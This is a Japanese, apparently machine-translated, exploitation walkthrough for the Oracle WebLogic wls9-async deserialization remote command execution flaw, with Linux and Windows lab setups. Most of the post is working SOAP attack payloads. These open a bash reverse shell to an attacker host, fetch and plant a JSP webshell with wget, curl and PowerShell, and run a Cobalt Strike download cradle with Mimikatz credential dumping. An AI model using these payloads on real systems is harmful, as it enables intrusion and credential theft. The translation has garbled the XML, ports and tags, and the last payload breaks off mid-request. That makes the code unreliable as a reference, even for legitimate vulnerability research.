Jump to content

0x00イベントの背景

2019年4月17日、National Information Securityの脆弱性共有プラットフォーム(CNVD)には、Oracle Weblogic async Deserialization Remot Command実行脆弱性(CNVD-C-2019-48814)が含まれていました。現在、公式のパッチはリリースされておらず、脆弱性の詳細は明らかにされていません。この脆弱性に関するCNVDの包括的な評価は「高リスク」です

0x01脆弱性分析

WebLogic Serverは、米国のOracleが開発したクラウドおよび従来の環境向けのアプリケーションサービスミドルウェアです。開発から生産までのアプリケーションのライフサイクル管理全体をサポートし、アプリケーションの展開と管理を簡素化する最新の軽量開発プラットフォームを提供します。

WEBLOGICの一部のバージョンにデフォルトで含まれるWLS9_ASYNC_RESPONSEパッケージは、WeBlogicサーバーに非同期通信サービスを提供します。 WARパケットには入力情報の脱毛に欠陥があるため、攻撃者は慎重に構築された悪意のあるHTTP要求を送信し、ターゲットサーバーにアクセス許可を取得し、許可なしにコマンドをリモートで実行できます。

CNVDの脆弱性の包括的な評価は「高リスク」です。

0x02脆弱性の説明

最近、インターネットは、weblogicwls9-asyncでリモートコマンドの実行をゆるくする脆弱性を暴露しました。攻撃者は、この脆弱性を悪用して、許可なしにコマンドをリモートで実行します。脆弱性のリスクレベルは高いです。現在、公式のパッチはリリースされておらず、脆弱性の詳細は明らかにされていません。

0x02脆弱性インパクトスコープ

1。影響製品の影響:

Oracle Weblogic Server10.3.6.0.0

Oracle Weblogic Server12.1.3.0.0

Oracle Weblogic Server12.2.1.1.0

Oracle Weblogic Server12.2.1.2.0

2。影響コンポーネントへの影響:

bea_wls9_async_response.war

wsat.war

0x03脆弱性の再発

1。Liunxの下での環境構築

攻撃航空機:KALI2019

脆弱性ターゲットマシン:ubuntu16.04(docker vulhub)weblogic10.3.6(wls1036_generic.jar)

1. Ubuntu 16.04にDockerとDocker-Composeをインストールする:

(1)。 PIPをインストールします

curl -s https://bootstrap.pypa.io/get-pip.py | Python3

(2)。 Dockerをインストールします

curl -s https://get.docker.com/| sh

(3)。 Dockerサービスを開始します

Service Docker Start

(4)。 Docker Composeをインストールします

PIPインストールDocker-Compose

2。使い方

(1)。脆弱性環境プロジェクトのダウンロード

git clone 3https://github.com/vulhub/vulhub.git

(2)。 Nexus利用環境に入ります

CD vulhub/weblogic/cve-2017-10271

(3)。次のコマンドを実行して、Weblogicサービスを開始します

docker -compose up -d

5lvfp0nrq0v8051.pngしばらく待って、http://Your-IP:7001にアクセスすると、404ページが表示され、Weblogicが正常に開始されたことを示します。

hu3ecnrubim8052.png

3.検出方法パスhttp://IP:port/_async/asyncreSponsServiceにアクセスすることにより、ユーザーはコンポーネントを有効にするかどうかを判断できます。次のページに戻ると、このコンポーネントが有効になります。タイムリーに保護対策を講じてください

URL(http://IP:ポート/_async/)を開くと、エラー403をプロンプトし、「RFC 2068 HyperText Transfer Protocol-HTTP/1.13360から」を含み、Oracle Oracle Oracle Oracle Oracle Oracle Oracle Oracle Oracle wlogic WLS9-Async Deserialialize deserialize desirialize command decution bulnerabilityがあります。

http://149.248.54.8233607001/_async/

f3fnxcwsglg8053.png

http://149.248.54.8233607001/_ASYNC/ASYNCRESPONSESSESSERSESSESSESSESSESSESSESSESSEST

zi5tejedytc8054.png

2。Linuxの下での脆弱性の搾取

1。リバウンドシェル利用:

(1)。攻撃マシンホストのIPアドレスは次のとおりであり、NCを使用してリバウンドポートを監視します

walnjgbbnlf8055.png qxxbz4hsik08056.png

(2)。次の図に示すように、Burpsuitを介して攻撃パケットをWeblogicサービスに送信します

post/_async/asyncreSponseservice http/1.1

host: IP:port

Content-Length: 853

Accept-Encoding: gzip、deflate

soapaction:

Accept: */*

user-agent: apache-httpclient/4.1.1(java 1.5)

Connection: Keep-Alive

Content-Type:テキスト/XML

soapenv:envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/' xmlns:wsa='http://www.w3.w3.org/2005/08/addressing' xmlns:asy='http://www.bea.com/async/asyncresponseservice'

soapenv3360header

WSA:ACTIONXX/WSA:ACTION

WSA:RELATESTOXX/WSA3360RELATESTO

work:workcontext xmlns:work='http://bea.com/2004/06/soap/workarea/'

void class='java.lang.processbuilder'

array class='java.lang.string' length='3'

void index='0'

文字列/bin/bash/string

/空所

void index='1'

文字列-C/文字列

/空所

void index='2'

stringbash -i gt; amp; /dev/tcp/vpsip/vpsport 0gt; amp; 1/string

/空所

/配列

void method='start' //void

/work:workcontext

/soapenv3360header

soapenv3360body

ASY:ONASYNCDELIVILION/

/soapenv:body/soapenv:envelope 2vgr5ao2ekx8057.png

(3)。シェルのリバウンドが成功するのを見ることができます

2。WebShellをアップロードします

(1)。 Kali攻撃マシンにシンプルなWebサーバーを構築してから、Webshll.txtをその下に配置できます。

(2)次のPOCを使用して送信攻撃を実行します

POC1:

post/_async/asyncreSponseservice http/1.1

host: IP:port

Content-Length: 789

Accept-Encoding: gzip、deflate

soapaction:

Accept: */*

user-agent: apache-httpclient/4.1.1(java 1.5)

Connection: Keep-Alive

Content-Type:テキスト/XML

soapenv:envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/' xmlns:wsa='http://www.w3.w3.org/2005/08/addressing' xmlns:asy='http://www.bea.com/async/asyncresponseservice'

soapenv3360header

WSA:ACTIONXX/WSA:ACTION

WSA:RELATESTOXX/WSA3360RELATESTO

work:workcontext xmlns:work='http://bea.com/2004/06/soap/workarea/'

void class='java.lang.processbuilder'

array class='java.lang.string' length='3'

void index='0'

文字列/bin/bash/string

/空所

void index='1'

文字列-C/文字列

/空所

void index='2'

StringWget http://VPSIP:VPSPORT/webShell.txt -oサーバー/adminserver/tmp/_wl_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp/string

/空所

/配列

void method='start' //void

/work:workcontext

/soapenv3360header

soapenv3360body

ASY:ONASYNCDELIVILION/

/soapenv3360body/soapenv:envelope

POC2:

post/_async/asyncreSponseservice http/1.1

host: IP:port

Content-Length: 789

Accept-Encoding: gzip、deflate

soapaction:

Accept: */*

user-agent: apache-httpclient/4.1.1(java 1.5)

Connection: Keep-Alive

Content-Type:テキスト/XML

soapenv:envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/' xmlns:wsa='http://www.w3.w3.org/2005/08/addressing' xmlns:asy='http://www.bea.com/async/asyncresponseservice'

soapenv3360header

WSA:ACTIONXX/WSA:ACTION

WSA:RELATESTOXX/WSA3360RELATESTO

work:workcontext xmlns:work='http://bea.com/2004/06/soap/workarea/'

void class='java.lang.processbuilder'

array class='java.lang.string' length='3'

void index='0'

文字列/bin/bash/string

/空所

void index='1'

文字列-C/文字列

/空所

void index='2'

StringCurl http://VPSIP:VPSPORT/webShell.txt -oサーバー/adminserver/tmp/_wl_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp/string

/空所

/配列

void method='start' //void

/work:workcontext

/soapenv3360header

soapenv3360body

ASY:ONASYNCDELIVILION/

/soapenv3360body/soapenv:envelope

(3)。 WebShellにアクセスします

http://149.248.54.82:7001/_async/test.jsp

3。窓の下の環境構造

1.Weblogic12.1.3.0.0インストール

住所をダウンロード:https://www.oracle.com/technetwork/middleware/weblogic/downloads/index.html

インストールを開始:( Java環境サポートが必要です。Java環境変数の構成を忘れないでください)

次のインストールパッケージのいずれかを選択して、ここで12.1.3.0を選択しました

2。実行するためにCMDを開きます:

c: \プログラムファイル\ java \ jdk1.8.0_152 \ bin \ java -jar c: \ fmw_12.1.3.0.0_wls.jar

c: \ program files \ java \ jdk1.8.0_121 \ bin \ directoryでjava.exeを使用して、weblogic12c jarパッケージを実行します(デフォルトの順序が使用されます。ファイル\ java \ jdk1.8.0_121 \ jre \ bin \が使用されるため、パッケージJREは有効なJDKではありません)。したがって、CMDでは、C: \プログラムファイル\ java \ jdk1.8.0_152 \ bin \ java -jar c: \ fmw_12.1.3.0.0.0.0.0_Wls.jar(プログラムを使用する理由〜1を使用する必要があります。

3。しばらく待つと、インストーラーがポップアップします。

4。構成が完了したら、startweblogic.cmdを見つけてダブルクリックしてweblodgicを開始します。

5.アクセスhttp://127.0.0.1:7001/コンソール検証

4。Windowsの下での脆弱性の悪用:

1.アドレスを開きhttp://IP:port/_async/asyncreSponseseviceが脆弱性があるかどうかを確認する

2。シェルをリバウンドするには、CobaltStrikeを直接使用してPayload.ps1 PowerShellスクリプトを生成し、スクリプトをパブリックネットワークに配置し、次のPOCを使用して送信できます。

post/_async/asyncreSponseservice http/1.1

host: IP:port

Content-Length: 861

Accept-Encoding: gzip、deflate

soapaction:

Accept: */*

user-agent: apache-httpclient/4.1.1(java 1.5)

Connection: Keep-Alive

Content-Type:テキスト/XML

soapenv:envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/' xmlns:wsa='http://www.w3.w3.org/2005/08/addressing' xmlns:asy='http://www.bea.com/async/asyncresponseservice'

soapenv3360header

WSA:ACTIONXX/WSA:ACTION

WSA:RELATESTOXX/WSA3360RELATESTO

work:workcontext xmlns:work='http://bea.com/2004/06/soap/workarea/'

void class='java.lang.processbuilder'

array class='java.lang.string' length='3'

void index='0'

stringcmd/string

/空所

void index='1'

文字列/c/文字列

/空所

void index='2'

StringPowerShell 'IEX(new-Object net.WebClient).DownLoadString(' http://IP:port/payload.ps1 '); Invoke -Mimikatz -Dumpcreds '/文字列

/空所

/配列

void method='start' //void

/work:workcontext

/soapenv3360header

soapenv3360body

ASY:ONASYNCDELIVILION/

/soapenv3360body/soapenv:envelope

Cobalstrikeでターゲットシステムを正常に跳ね返すシェルがわかります

3。WebShellをアップロードします

(1)。パブリックホストにwebshell.txtを配置します(ここにKaliホストがあります)

2。次のPOCを使用してリクエストを送信します。

POC1:

post/_async/asyncreSponseservice http/1.1

host: IP:port

Content-Length: 854

Accept-Encoding: gzip、deflate

soapaction:

Accept: */*

user-agent: apache-httpclient/4.1.1(java 1.5)

Connection: Keep-Alive

Content-Type:テキスト/XML

soapenv:envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/' xmlns:wsa='http://www.w3.w3.org/2005/08/addressing' xmlns:asy='http://www.bea.com/async/asyncresponseservice'

soapenv3360header

WSA:ACTIONXX/WSA:ACTION

WSA:RELATESTOXX/WSA3360RELATESTO

work:workcontext xmlns:work='http://bea.com/2004/06/soap/workarea/'

void class='java.lang.processbuilder'

array class='java.lang.string' length='3'

void index='0'

stringcmd/string

/空所

void index='1'

文字列/c/文字列

/空所

void index='2'

StringPowerShell(new-Object System.net.WebClient).DownLoadFile( 'http://IP3360port/webshell.txt'、 'Servers/adminserver/tmp/_wl_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp')/弦

/空所

/配列

void method='start' //void

/work:workcontext

/soapenv3360header

soapenv3360body

ASY:ONASYNCDELIVILION/

/soapenv3360body&lt

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...